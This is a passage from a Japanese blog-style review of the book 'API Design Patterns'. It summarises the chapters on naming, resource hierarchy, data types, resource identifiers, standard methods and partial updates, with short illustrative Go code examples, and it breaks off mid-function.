のように単位を明示することで、そのフィールドの意味と使用方法が明確になります。これは、特に異なるシステム間で情報をやり取りする際に重要です。著者が挙げている火星気候軌道船の例は、単位の不一致がもたらす重大な結果を示す極端な例ですが、日常的な開発においても同様の問題は起こりうます。例えば、あるサービスが秒単位で時間を扱い、別のサービがミリ秒単位で扱っている場合、単位が明示されていないと深刻なバグの原因となる可能性があります。Golangにおいて、このような問題に対処するための一つの方法は、カスタム型を使用することです。例えば:type Bytes int64type Megapixels float64type Image struct { Content []byte SizeBytes Bytes Dimensions struct { Width Megapixels Height Megapixels }}このようなアプローチは、型安全性を高め、単位の誤用を防ぐのに役立ちます。さらに、これらの型に特定のメソッドを追加することで、単位変換や値の検証を容易に行うことができます。結論著者は、良い命名の重要性と、それがAPIの品質全体に与える影響を明確に示しています。良い名前は、単にコードを読みやすくするだけでなく、APIの使いやすさ、保守性、そして長期的な進化可能性に直接影響を与えます。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境では、適切な命名がシステム全体の理解と管理を容易にする鍵となります。一貫性のある、表現力豊かで、かつシンプルな名前を選択することで、開発者はAPIを直感的に理解し、効率的に使用することができます。また、単位やデータ型を明確に示す名前を使用することは、システムの安全性と信頼性を高める上で重要です。これは、特に異なるシステムやチーム間でデータをやり取りする際に、誤解や誤用を防ぐ効果的な手段となります。Golangの文脈では、言語の設計哲学であるシンプルさと明確さを反映したAPI設計が重要です。標準ライブラリの命名規則に倣い、簡潔でかつ表現力豊かな名前を選択することで、Go開発者にとって親和性の高いAPIを設計することができます。最後に、命名は技術的な問題であると同時に、コミュニケーションの問題でもあります。適切な命名は、開発者間、チーム間、さらには組織間のコミュニケーションを促進し、プロジェクトの成功に大きく寄与します。したがって、API設計者は命名に十分な時間と注意を払い、長期的な視点でその影響を考慮する必要があります。4 Resource scope and hierarchy「API Design Patterns」の第4章「Resource scope and hierarchy」は、APIにおけるリソースのスコープと階層構造に焦点を当て、リソースレイアウトの概念、リソース間の関係性の種類、エンティティ関係図の活用方法、適切なリソース関係の選択基準、そしてリソースレイアウトのアンチパターンについて詳細に論じています。この章を通じて、著者はリソース中心のAPI設計の重要性と、それがシステムの拡張性、保守性、そして全体的なアーキテクチャにどのように影響を与えるかを明確に示しています。Figure 4.2 Users, payment methods, and addresses all have different relationships to one another. より引用リソースレイアウトの重要性著者は、APIデザインにおいてリソースに焦点を当てることの重要性から議論を始めています。これは、RESTful APIの設計原則と密接に関連しており、アクションよりもリソースを中心に考えることで、API全体の一貫性と理解しやすさが向上することを強調しています。この考え方は、マイクロサービスアーキテクチャやクラウドネイティブ開発において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが扱うリソースとその関係性を明確に定義することで、システム全体の複雑性を管理しやすくなります。著者が提示するリソースレイアウトの概念は、単にデータベーススキーマを設計するのとは異なります。APIのリソースレイアウトは、クライアントとサーバー間の契約であり、システムの振る舞いや機能を定義する重要な要素となります。この点で、リソースレイアウトはシステムの外部インターフェースを形作る重要な要素であり、慎重に設計する必要があります。リソース間の関係性著者は、リソース間の関係性を詳細に分類し、それぞれの特性と適用場面について論じています。特に注目すべきは以下の点です。参照関係: 最も基本的な関係性で、あるリソースが他のリソースを参照する形式です。例えば、メッセージリソースが著者ユーザーを参照する場合などが該当します。多対多関係: 複数のリソースが互いに関連する複雑な関係性です。例えば、ユーザーとチャットルームの関係などが挙げられます。自己参照関係: 同じタイプのリソースが互いに参照し合う関係性です。階層構造や社会的なネットワークの表現に適しています。階層関係: 親子関係を表現する特殊な関係性で、所有権や包含関係を示します。これらの関係性の理解と適切な適用は、APIの設計において極めて重要です。特に、マイクロサービスアーキテクチャにおいては、サービス間の境界を定義する際にこれらの関係性を慎重に考慮する必要があります。例えば、Golangを用いてマイクロサービスを実装する場合、これらの関係性を適切に表現することが重要です。以下は、チャットアプリケーションにおけるメッセージとユーザーの関係を表現する簡単な例です。type Message struct { ID string `json:\"id\"` Content string `json:\"content\"` AuthorID string `json:\"author_id\"` Timestamp time.Time `json:\"timestamp\"`}type User struct { ID string `json:\"id\"` Username string `json:\"username\"` Email string `json:\"email\"`}type ChatRoom struct { ID string `json:\"id\"` Name string `json:\"name\"` UserIDs []string `json:\"user_ids\"`}この例では、MessageがUserを参照する関係性と、ChatRoomとUserの多対多関係を表現しています。エンティティ関係図の活用著者は、エンティティ関係図(ERD)の重要性とその読み方について詳しく説明しています。ERDは、リソース間の関係性を視覚的に表現する強力なツールです。特に、カーディナリティ(一対一、一対多、多対多など)を明確に示すことができる点が重要です。ERDの活用は、APIの設計フェーズだけでなく、ドキュメンテーションや開発者間のコミュニケーションにおいても非常に有効です。特に、マイクロサービスアーキテクチャのような複雑なシステムでは、各サービスが扱うリソースとその関係性を視覚的に理解することが、全体像の把握に役立ちます。適切な関係性の選択著者は、リソース間の適切な関係性を選択する際の考慮点について詳細に論じています。特に重要な点は以下の通りです。関係性の必要性: すべてのリソース間に関係性を持たせる必要はありません。必要最小限の関係性に留めることで、APIの複雑性を抑制できます。インライン化 vs 参照: リソースの情報をインライン化するか、参照として扱うかの選択は、パフォーマンスとデータの一貫性のトレードオフを考慮して決定する必要があります。階層関係の適切な使用: 階層関係は強力ですが、過度に深い階層は避けるべきです。これらの選択は、システムの拡張性と保守性に大きな影響を与えます。例えば、不必要に多くの関係性を持つAPIは、将来的な変更が困難になる可能性があります。一方で、適切に設計された関係性は、システムの理解を容易にし、新機能の追加やスケーリングを円滑に行うことができます。アンチパターンの回避著者は、リソースレイアウトにおける一般的なアンチパターンとその回避方法について説明しています。特に注目すべきアンチパターンは以下の通りです。全てをリソース化する: 小さな概念まですべてをリソース化することは、APIを不必要に複雑にする可能性があります。深すぎる階層: 過度に深い階層構造は、APIの使用と理解を困難にします。全てをインライン化する: データの重複や一貫性の問題を引き起こす可能性があります。これらのアンチパターンを回避することで、より使いやすく、保守性の高いAPIを設計することができます。例えば、深すぎる階層構造を避けることで、APIのエンドポイントがシンプルになり、クライアント側の実装も容易になります。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。サービス境界の定義: リソースの関係性を適切に設計することで、マイクロサービス間の境界を明確に定義できます。これは、システムの拡張性と保守性に直接的な影響を与えます。パフォーマンスとスケーラビリティ: インライン化と参照の適切な選択は、システムのパフォーマンスとスケーラビリティに大きく影響します。例えば、頻繁に一緒にアクセスされるデータをインライン化することで、不必要なネットワーク呼び出しを減らすことができます。進化可能性: 適切にリソースと関係性を設計することで、将来的なAPIの拡張や変更が容易になります。これは、長期的なシステム運用において非常に重要です。一貫性と予測可能性: リソースレイアウトの一貫したアプローチは、APIの学習曲線を緩やかにし、開発者の生産性を向上させます。運用の簡素化: 適切に設計されたリソース階層は、アクセス制御やログ分析などの運用タスクを簡素化します。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、Goの構造体やインターフェースを使用して、リソース間の関係性を明確に表現することができます。また、Goの強力な型システムを活用することで、APIの一貫性と型安全性を確保することができます。結論第4章「Resource scope and hierarchy」は、APIデザインにおけるリソースのスコープと階層構造の重要性を明確に示しています。適切なリソースレイアウトの設計は、APIの使いやすさ、拡張性、保守性に直接的な影響を与えます。特に重要な点は以下の通りです。リソース間の関係性を慎重に設計し、必要最小限の関係性に留めること。インライン化と参照のトレードオフを理解し、適切に選択すること。階層関係を効果的に使用しつつ、過度に深い階層は避けること。一般的なアンチパターンを認識し、回避すること。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なリソースレイアウトの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の拡張性、保守性、そして運用効率の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。5 Data types and defaults「API Design Patterns」の第5章「Data types and defaults」は、APIにおけるデータ型とデフォルト値の重要性、各データ型の特性と使用上の注意点、そしてシリアライゼーションの課題について詳細に論じています。この章を通じて、著者はAPIの設計において適切なデータ型の選択とデフォルト値の扱いが、APIの使いやすさ、信頼性、そして長期的な保守性にどのように影響するかを明確に示しています。データ型の重要性と課題著者は、APIにおけるデータ型の重要性から議論を始めています。特に注目すべきは、プログラミング言語固有のデータ型に依存せず、シリアライゼーションフォーマット(主にJSON)を介して異なる言語間で互換性のあるデータ表現を実現することの重要性です。この問題は根深すぎて一つの解決策として開発言語を揃えるまでしてる組織ある。この概念を視覚的に表現するために、著者は以下の図を提示しています。Figure 5.1 Data moving from API server to client より引用この図は、APIサーバーからクライアントへのデータの流れを示しています。サーバー側でのプログラミング言語固有の表現がシリアライズされ、言語非依存の形式(多くの場合JSON)に変換され、ネットワークを介して送信されます。クライアント側では、このデータがデシリアライズされ、再びクライアントの言語固有の表現に変換されます。この過程は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。異なる言語やフレームワークで実装された複数のサービスが協調して動作する環境では、このようなデータの変換と伝送が頻繁に行われるため、データ型の一貫性と互換性が不可欠です。例えば、あるサービスが64ビット整数を使用し、別のサービスがそれを32ビット整数として解釈してしまうと、深刻なバグや不整合が発生する可能性があります。著者が指摘する「null」値と「missing」値の区別も重要な論点です。これは、オプショナルな値の扱いにおいて特に重要で、APIの設計者はこの違いを明確に意識し、適切に処理する必要があります。例えば、Golangにおいては、以下のように構造体のフィールドをポインタ型にすることで、この区別を表現できます。type User struct { ID string `json:\"id\"` Name string `json:\"name\"` Age *int `json:\"age,omitempty\"` IsActive *bool `json:\"is_active,omitempty\"`}この設計により、AgeやIsActiveフィールドが省略された場合(missing)と、明示的にnullが設定された場合を区別できます。このような細かい違いに注意を払うことで、APIの柔軟性と表現力を高めることができます。プリミティブデータ型の扱い著者は、ブール値、数値、文字列といったプリミティブデータ型について詳細に論じています。特に注目すべきは、これらのデータ型の適切な使用法と、シリアライゼーション時の注意点です。ブール値に関しては、フィールド名の選択が重要であると指摘しています。例えば、disallowChatbotsよりもallowChatbotsを使用することで、二重否定を避け、APIの理解しやすさを向上させることができます。数値に関しては、大きな整数や浮動小数点数の扱いに注意が必要です。著者は、これらの値を文字列としてシリアライズすることを提案しています。これは特に重要な指摘で、例えばJavaScriptでは64ビット整数を正確に扱えないという問題があります。Golangでこれを実装する場合、以下のようなアプローチが考えられます。type LargeNumber struct { Value string `json:\"value\"`}func (ln *LargeNumber) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } // ここで文字列を適切な数値型に変換 // エラーチェックも行う return nil}文字列に関しては、UTF-8エンコーディングの使用と、正規化形式(特にNFC)の重要性が強調されています。これは特に識別子として使用される文字列に重要で、一貫性のある比較を保証します。コレクションと構造体著者は、リスト(配列)とマップ(オブジェクト)についても詳細に論じています。これらのデータ型は、複雑なデータ構造を表現する上で不可欠ですが、適切に使用しないと問題を引き起こす可能性があります。リストに関しては、要素の型の一貫性と、サイズの制限の重要性が指摘されています。これは、API の安定性とパフォーマンスに直接影響します。例えば、リストのサイズが無制限に大きくなることを許可すると、メモリ使用量の増大やレスポンス時間の遅延につながる可能性があります。マップに関しては、動的なキー・バリューペアの格納に適していますが、スキーマレスな性質ゆえに慎重に使用する必要があります。著者は、マップのキーと値のサイズに制限を設けることを推奨しています。これは、APIの予測可能性と安定性を確保する上で重要です。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、マイクロサービスアーキテクチャやクラウドネイティブ環境での応用を考えると、以下のような点が重要になります。データの一貫性: 異なるサービス間でデータ型の一貫性を保つことは、システム全体の信頼性と保守性に直結します。例えば、全てのサービスで日時をISO 8601形式の文字列として扱うといった統一規則を設けることが有効です。バージョニングとの関係: データ型の変更はしばしばAPIの破壊的変更につながります。適切なバージョニング戦略と組み合わせることで、既存のクライアントへの影響を最小限に抑えつつ、APIを進化させることができます。パフォーマンスとスケーラビリティ: 大きな数値を文字列として扱うことや、コレクションのサイズを制限することは、システムのパフォーマンスとスケーラビリティに直接影響します。これらの決定は、システムの成長に伴う課題を予防する上で重要です。エラーハンドリング: 不適切なデータ型やサイズの入力を適切に処理し、明確なエラーメッセージを返すことは、APIの使いやすさと信頼性を向上させます。ドキュメンテーション: データ型、特に制約(例:文字列の最大長、数値の範囲)を明確にドキュメント化することは、API利用者の理解を助け、誤用を防ぎます。Golangの文脈では、これらの設計原則を反映したAPIの実装が重要になります。例えば、カスタムのUnmarshalJSONメソッドを使用して、文字列として受け取った大きな数値を適切に処理することができます。また、Goの強力な型システムを活用することで、APIの型安全性を高めることができます。type SafeInt64 int64func (si *SafeInt64) UnmarshalJSON(data []byte) error { var s string if err := json.Unmarshal(data, &s); err != nil { return err } i, err := strconv.ParseInt(s, 10, 64) if err != nil { return err } *si = SafeInt64(i) return nil}結論第5章「Data types and defaults」は、APIデザインにおけるデータ型とデフォルト値の重要性を明確に示しています。適切なデータ型の選択と、それらの一貫した使用は、APIの使いやすさ、信頼性、そして長期的な保守性に直接的な影響を与えます。特に重要な点は以下の通りです。プログラミング言語に依存しない、一貫したデータ表現の重要性。null値とmissing値の区別、およびそれらの適切な処理。大きな数値や浮動小数点数の安全な取り扱い。文字列のエンコーディングと正規化の重要性。コレクション(リストとマップ)の適切な使用とサイズ制限。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、APIの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切なデータ型の選択は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切なデータ型の選択と一貫した使用は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。Part 3 Fundamentalsこのパートでは、APIの基本的な操作と機能について深く掘り下げています。標準メソッド(GET、POST、PUT、DELETE等)の適切な使用法、部分的な更新と取得、カスタムメソッドの設計、長時間実行操作の扱い方などが説明されています。これらの基本的な要素を適切に設計することで、APIの使いやすさと機能性が大きく向上します。6 Resource identification「API Design Patterns」の第6章「Resource identification」は、APIにおけるリソース識別子の重要性、良い識別子の特性、その実装方法、そしてUUIDとの関係について詳細に論じています。この章を通じて、著者はリソース識別子が単なる技術的な詳細ではなく、APIの使いやすさ、信頼性、そして長期的な保守性に直接影響を与える重要な設計上の決定であることを明確に示しています。識別子の重要性と特性著者は、識別子の重要性から議論を始めています。APIにおいて、識別子はリソースを一意に特定するための手段であり、その設計は慎重に行う必要があります。良い識別子の特性として、著者は以下の点を挙げています。使いやすさ一意性永続性生成の速さと容易さ予測不可能性読みやすさ、共有のしやすさ、検証可能性情報密度の高さこれらの特性は、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、永続性と一意性は、分散システムにおけるデータの一貫性と整合性を確保する上で不可欠です。また、予測不可能性はセキュリティの観点から重要で、リソースの推測や不正アクセスを防ぐ役割を果たします。著者が提案する識別子の形式は、Crockford's Base32エンコーディングを使用したものです。この選択には多くの利点があります。高い情報密度(ASCIIキャラクタあたり5ビット)人間が読みやすく、口頭でも伝えやすい大文字小文字を区別しない柔軟性チェックサム文字による検証可能性これらの特性は、実際の運用環境で非常に有用です。例えば、識別子の読み上げやタイプミスの検出が容易になり、サポートや障害対応の効率が向上します。実装の詳細著者は、識別子の実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。サイズの選択: 著者は、用途に応じて64ビットまたは128ビットの識別子を推奨しています。これは、多くのユースケースで十分な一意性を提供しつつ、効率的なストレージと処理を可能にします。生成方法: 暗号学的に安全な乱数生成器の使用を推奨しています。これは、識別子の予測不可能性と一意性を確保する上で重要です。チェックサムの計算: 識別子の検証を容易にするためのチェックサム文字の追加方法を詳細に説明しています。データベースでの保存: 文字列、バイト列、整数値としての保存方法を比較し、それぞれの利点と欠点を分析しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。package mainimport ( \"crypto/rand\" \"encoding/base32\" \"fmt\")func GenerateID() (string, error) { bytes := make([]byte, 16) // 128ビットの識別子 _, err := rand.Read(bytes) if err != nil { return \"\", err } encoded := base32.StdEncoding.WithPadding(base32.NoPadding).EncodeToString(bytes) checksum := calculateChecksum(bytes) return fmt.Sprintf(\"%s%c\", encoded, checksumChar(checksum)), nil}func calculateChecksum(bytes []byte) int { sum := 0 for _, b := range bytes { sum += int(b) } return sum % 32}func checksumChar(checksum int) rune { return rune('A' + checksum)}func main() { id, err := GenerateID() if err != nil { fmt.Printf(\"Error generating ID: %v\\n\", err) return } fmt.Printf(\"Generated ID: %s\\n\", id)}このような実装は、安全で効率的な識別子生成を可能にし、システムの信頼性と拡張性を向上させます。識別子の階層と一意性のスコープ著者は、識別子の階層構造と一意性のスコープについても詳細に論じています。これは、リソース間の関係性をどのように表現するかという重要な問題に関わっています。著者は、階層的な識別子(例:books/1234/pages/5678)の使用を、真の「所有権」関係がある場合に限定することを推奨しています。これは、リソースの移動や関係の変更が頻繁に起こる可能性がある場合、識別子の永続性を維持することが困難になるためです。この考え方は、マイクロサービスアーキテクチャにおいて特に重要です。サービス間の境界を明確に定義し、不必要な依存関係を避けるためには、識別子の設計が重要な役割を果たします。例えば、書籍と著者の関係を考えると、authors/1234/books/5678よりもbooks/5678(著者情報は書籍のプロパティとして保持)の方が、サービス間の結合度を低く保つことができます。UUIDとの比較著者は、提案する識別子形式とUUIDを比較しています。UUIDの利点(広く採用されている、衝突の可能性が極めて低いなど)を認めつつ、以下の点で著者の提案する形式が優れていると主張しています。より短く、人間が読みやすい情報密度が高い(Base32 vs Base16)チェックサム機能が組み込まれているこの比較は重要で、システムの要件に応じて適切な識別子形式を選択する必要性を示しています。例えば、高度に分散化されたシステムではUUIDの使用が適している一方、人間の介入が頻繁に必要なシステムでは著者の提案する形式が有用かもしれません。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。スケーラビリティと性能: 適切な識別子の設計は、システムのスケーラビリティと性能に直接影響します。例えば、128ビットの識別子を使用することで、将来的な成長に対応しつつ、効率的なインデックスの作成が可能になります。セキュリティ: 予測不可能な識別子の使用は、リソースの推測や不正アクセスを防ぐ上で重要です。これは、特に公開APIにおいて重要な考慮事項です。運用性: 人間が読みやすく、検証可能な識別子は、デバッグやトラブルシューティングを容易にします。これは、大規模なシステムの運用において非常に有用です。バージョニングとの関係: 識別子の設計は、APIのバージョニング戦略と密接に関連しています。永続的で一意な識別子は、異なるバージョン間でのリソースの一貫性を維持するのに役立ちます。データベース設計: 識別子の形式と保存方法の選択は、データベースの性能と拡張性に大きな影響を与えます。著者の提案する形式は、多くのデータベースシステムで効率的に扱うことができます。結論第6章「Resource identification」は、APIにおけるリソース識別子の重要性と、その適切な設計の必要性を明確に示しています。著者の提案する識別子形式は、使いやすさ、安全性、効率性のバランスが取れており、多くのユースケースで有用です。特に重要な点は以下の通りです。識別子は単なる技術的詳細ではなく、APIの使いやすさと信頼性に直接影響を与える重要な設計上の決定である。良い識別子は、一意性、永続性、予測不可能性、読みやすさなど、複数の重要な特性を兼ね備えている必要がある。Crockford's Base32エンコーディングの使用は、多くの利点をもたらす。識別子の階層構造は慎重に設計する必要があり、真の「所有権」関係がある場合にのみ使用すべきである。UUIDは広く採用されているが、特定のユースケースでは著者の提案する形式の方が適している場合がある。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、リソース識別子の設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な識別子の設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。適切な識別子の設計は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。7 Standard methods「API Design Patterns」の第7章「Standard methods」は、APIにおける標準メソッドの重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は標準メソッドが単なる慣習ではなく、APIの一貫性、予測可能性、そして使いやすさを大きく向上させる重要な設計上の決定であることを明確に示しています。標準メソッドの重要性と概要著者は、標準メソッドの重要性から議論を始めています。APIの予測可能性を高めるために、リソースごとに異なる操作を定義するのではなく、一貫した標準メソッドのセットを定義することの利点を強調しています。具体的には、以下の標準メソッドが紹介されています。Get:既存のリソースを取得List:リソースのコレクションをリスト化Create:新しいリソースを作成Update:既存のリソースを更新Delete:既存のリソースを削除Replace:リソース全体を置き換えHTTP には他にもいくつかのメソッドが用意されているWikipedia より引用en.wikipedia.orgこれらの標準メソッドは、RESTful APIの設計原則に基づいており、多くの開発者にとって馴染みのある概念です。しかし、著者はこれらのメソッドの実装に関する詳細な指針を提供することで、単なる慣習を超えた、一貫性のある強力なAPIデザインパターンを提示しています。この標準化されたアプローチは、マイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。複数のサービスが協調して動作する環境では、各サービスのインターフェースが一貫していることが、システム全体の理解と保守を容易にします。例えば、全てのサービスで同じ標準メソッドを使用することで、開発者はサービス間の相互作用をより直感的に理解し、新しいサービスの統合や既存のサービスの修正をスムーズに行うことができます。実装の詳細とベストプラクティス著者は、各標準メソッドの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。べき等性とサイドエフェクト: 著者は、標準メソッドのべき等性(同じリクエストを複数回実行しても結果が変わらない性質)とサイドエフェクトの重要性を強調しています。特に、Getやリストのような読み取り専用のメソッドは、完全にべき等であるべきで、システムの状態を変更するサイドエフェクトを持つべきではありません。これは、システムの予測可能性と信頼性を高める上で重要です。一貫性: 著者は、特にCreate操作において強い一貫性を維持することの重要性を指摘しています。リソースが作成されたら、即座に他の標準メソッド(Get、List、Update、Delete)を通じてアクセス可能であるべきです。これは、分散システムにおける課題ですが、APIの信頼性と使いやすさにとって極めて重要です。部分更新 vs 全体置換: UpdateメソッドとReplaceメソッドの違いについて詳細に説明しています。Updateは部分的な更新(HTTP PATCHを使用)を行い、Replaceは全体の置換(HTTP PUTを使用)を行います。この区別は、APIの柔軟性と使いやすさを向上させる上で重要です。べき等性と削除操作: 著者は、Delete操作がべき等であるべきか否かについて興味深い議論を展開しています。最終的に、Deleteはべき等でない方が良いと結論付けていますが、これはAPIの設計者にとって重要な考慮点です。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなインターフェースが考えられます。type ResourceService interface { Get(ctx context.Context, id string) (*Resource, error) List(ctx context.Context, filter string) ([]*Resource, error) Create(ctx context.Context, resource *Resource) (*Resource, error) Update(ctx context.Context, id string, updates map[string]interface{}) (*Resource, error) Replace(ctx context.Context, id string, resource *Resource) (*Resource, error) Delete(ctx context.Context, id string) error}このようなインターフェースは、標準メソッドの一貫した実装を促進し、APIの使いやすさと保守性を向上させます。標準メソッドの適用と課題著者は、標準メソッドの適用に関する重要な考慮点も提示しています。メソッドの選択: 全てのリソースが全ての標準メソッドをサポートする必要はありません。リソースの性質に応じて、適切なメソッドのみを実装すべきです。アクセス制御: 特にListメソッドにおいて、異なるユーザーが異なるアクセス権を持つ場合の挙動について詳細に説明しています。これは、セキュリティと使いやすさのバランスを取る上で重要な考慮点です。結果のカウントとソート: 著者は、Listメソッドでのカウントやソートのサポートを避けることを推奨しています。これは、大規模なデータセットでのパフォーマンスとスケーラビリティの問題を防ぐための重要な指針です。フィルタリング: Listメソッドにおけるフィルタリングの重要性と、その実装方法について説明しています。著者は、固定のフィルタリング構造ではなく、柔軟な文字列ベースのフィルタリングを推奨しています。これらの考慮点は、特に大規模なシステムやマイクロサービスアーキテクチャにおいて重要です。例えば、Listメソッドでのカウントやソートの制限は、システムの水平スケーリング能力を維持する上で重要です。同様に、柔軟なフィルタリングの実装は、APIの長期的な進化と拡張性を確保します。実践的な応用と考察この章の内容は、実際のAPI設計において非常に重要です。特に、以下の点が重要になります。一貫性と予測可能性: 標準メソッドを一貫して適用することで、APIの学習曲線が緩やかになり、開発者の生産性が向上します。これは、特に大規模なシステムや多くのマイクロサービスを持つ環境で重要です。パフォーマンスとスケーラビリティ: 著者の推奨事項(例:Listメソッドでのカウントやソートの制限)は、システムのパフォーマンスとスケーラビリティを維持する上で重要です。これらの原則を適用することで、システムの成長に伴う課題を予防できます。バージョニングとの関係: 標準メソッドの一貫した実装は、APIのバージョニング戦略とも密接に関連します。新しいバージョンを導入する際も、これらの標準メソッドの挙動を維持することで、後方互換性を確保しやすくなります。セキュリティの考慮: 標準メソッドの実装において、適切なアクセス制御やエラーハンドリングを行うことは、APIのセキュリティを確保する上で重要です。運用性: 標準メソッドの一貫した実装は、監視、ログ記録、デバッグなどの運用タスクを簡素化します。これにより、問題の迅速な特定と解決が可能になります。結論第7章「Standard methods」は、APIにおける標準メソッドの重要性と、その適切な実装方法を明確に示しています。著者の提案する設計原則は、APIの一貫性、予測可能性、使いやすさを大きく向上させる可能性があります。特に重要な点は以下の通りです。標準メソッド(Get、List、Create、Update、Delete、Replace)の一貫した実装は、APIの学習性と使いやすさを大幅に向上させます。べき等性とサイドエフェクトの考慮は、APIの信頼性と予測可能性を確保する上で重要です。強い一貫性の維持、特にCreate操作後の即時アクセス可能性は、APIの信頼性を高めます。標準メソッドの適切な選択と実装は、システムのパフォーマンス、スケーラビリティ、セキュリティに直接影響します。標準メソッドの一貫した実装は、システムの運用性と長期的な保守性を向上させます。これらの原則を適切に適用することで、開発者にとって使いやすく、長期的に保守可能なAPIを設計することができます。さらに、これらの原則は、マイクロサービスアーキテクチャやクラウドネイティブ環境における効果的なシステム設計にも直接的に適用可能です。最後に、標準メソッドの設計はシステム全体のアーキテクチャと密接に関連していることを忘れてはいけません。適切な標準メソッドの設計は、単にAPIの使いやすさを向上させるだけでなく、システム全体の信頼性、パフォーマンス、そして拡張性の向上にも大きく貢献します。したがって、API設計者は、個々のエンドポイントの設計だけでなく、システム全体のアーキテクチャとの整合性を常に意識しながら設計を進める必要があります。この章の内容は、特に大規模で長期的に運用されるシステムの設計において非常に重要です。標準メソッドの適切な実装は、将来的な拡張性を確保し、予期せぬバグや互換性の問題を防ぐ上で不可欠です。API設計者は、これらの原則を深く理解し、実践することで、より強固で信頼性の高いシステムを構築することができるでしょう。8 Partial updates and retrievals「API Design Patterns」の第8章「Partial updates and retrievals」は、APIにおける部分的な更新と取得の重要性、その実装方法、そしてトレードオフについて詳細に論じています。この章を通じて、著者は部分的な更新と取得が単なる機能の追加ではなく、APIの柔軟性、効率性、そして長期的な使いやすさに直接影響を与える重要な設計上の決定であることを明確に示しています。部分的な更新と取得の動機著者は、部分的な更新と取得の必要性から議論を始めています。特に、大規模なリソースや制限のあるクライアント環境での重要性を強調しています。例えば、IoTデバイスのような制限された環境では、必要最小限のデータのみを取得することが重要です。また、大規模なリソースの一部のみを更新する必要がある場合、全体を置き換えるのではなく、特定のフィールドのみを更新する能力が重要になります。この概念は、現代のマイクロサービスアーキテクチャやクラウドネイティブ環境において特に重要です。例えば、複数のマイクロサービスが協調して動作する環境では、各サービスが必要とするデータのみを効率的に取得し、更新することが、システム全体のパフォーマンスとスケーラビリティを向上させます。著者は、部分的な更新と取得を実現するためのツールとしてフィールドマスクの概念を導入しています。フィールドマスクは、クライアントが関心のあるフィールドを指定するための単純かつ強力なメカニズムです。これにより、APIは必要なデータのみを返すか、指定されたフィールドのみを更新することができます。フィールドマスクの実装著者は、フィールドマスクの実装に関して詳細なガイダンスを提供しています。特に注目すべき点は以下の通りです。トランスポート: フィールドマスクをどのようにAPIリクエストに含めるかについて議論しています。著者は、クエリパラメータを使用することを推奨しています。これは、HTTPヘッダーよりもアクセスしやすく、操作しやすいためです。ネストされたフィールドとマップの扱い: 著者は、ドット表記を使用してネストされたフィールドやマップのキーを指定する方法を説明しています。これにより、複雑なデータ構造でも柔軟に部分的な更新や取得が可能になります。繰り返しフィールドの扱い: 配列やリストのような繰り返しフィールドに対する操作の制限について議論しています。著者は、インデックスベースの操作を避け、代わりにフィールド全体の置き換えを推奨しています。デフォルト値: 部分的な取得と更新におけるデフォルト値の扱いについて説明しています。特に、更新操作での暗黙的なフィールドマスクの使用を推奨しています。これらの実装詳細は、実際のシステム設計において非常に有用です。例えば、Golangでの実装を考えると、以下のようなコードが考えられます。type FieldMask []stringtype UpdateUserRequest struct { User *User FieldMask FieldMask `json:\"fieldMask,omitempty\"`}func UpdateUser(ctx context.Context, req *UpdateUserRequest) (*User, error) { existingUser, err := getUserFromDatabase(req.User.ID) if err != nil { return nil, err } if req.FieldMask == nil { // 暗黙的なフィールドマスクを使用 req.FieldMask = inferFieldMask(req.User) } for _, field := range req.FieldMask { switch field { case \"name\": existingUser.Name = req.User.Name case \"email\": existingUser.Email = req.User.Email // ... その他のフィールド } } return saveUserToDatabase(existingUser)}func inferFieldMask(user *User) FieldMask { var mask FieldMask if user.Name != 